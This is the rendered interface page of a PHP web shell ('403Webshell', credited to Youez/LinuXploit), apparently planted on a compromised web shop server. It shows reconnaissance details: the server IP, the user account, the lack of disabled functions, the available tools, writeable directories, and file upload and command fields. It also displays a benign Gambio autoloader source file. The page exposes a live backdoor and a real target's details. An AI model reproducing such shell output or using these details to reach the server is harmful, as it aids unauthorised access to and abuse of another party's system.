403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/GXModules/Gambio/Hub/Shop/Classes/Extensions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/GXModules/Gambio/Hub/Shop/Classes/Extensions/HubAutoloader.inc.php
<?php

/* --------------------------------------------------------------
   HubAutoloader.inc.php 2017-02-21
   Gambio GmbH
   http://www.gambio.de
   Copyright (c) 2017 Gambio GmbH
   Released under the GNU General Public License (Version 2)
   [http://www.gnu.org/licenses/gpl-2.0.html]
   --------------------------------------------------------------
*/

/**
 * Class HubAutoloader
 * 
 * Use this class for shop versions in order to enable Hub autoloading
 */
class HubAutoloader
{
	/**
	 * Registers autoloading if needed. 
	 */
	public static function register()
	{
		if(class_exists('\HubPublic\ValueObjects\HubClientKey'))
		{
			return;
		}
		
		spl_autoload_register(function ($class)
		{
			// project-specific namespace prefix
			$prefix = 'HubPublic\\';
			
			// base directory for the namespace prefix
			$base_dir = DIR_FS_CATALOG . 'vendor/gambio-hub/hubpublic/src/';
			
			// does the class use the namespace prefix?
			$len = strlen($prefix);
			if(strncmp($prefix, $class, $len) !== 0)
			{
				// no, move to the next registered autoloader
				return;
			}
			
			// get the relative class name
			$relative_class = substr($class, $len);
			
			// replace the namespace prefix with the base directory, replace namespace
			// separators with directory separators in the relative class name, append
			// with .php
			$file = $base_dir . str_replace('\\', '/', $relative_class) . '.php';
			
			// if the file exists, require it
			if(file_exists($file))
			{
				require $file;
			}
		});
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit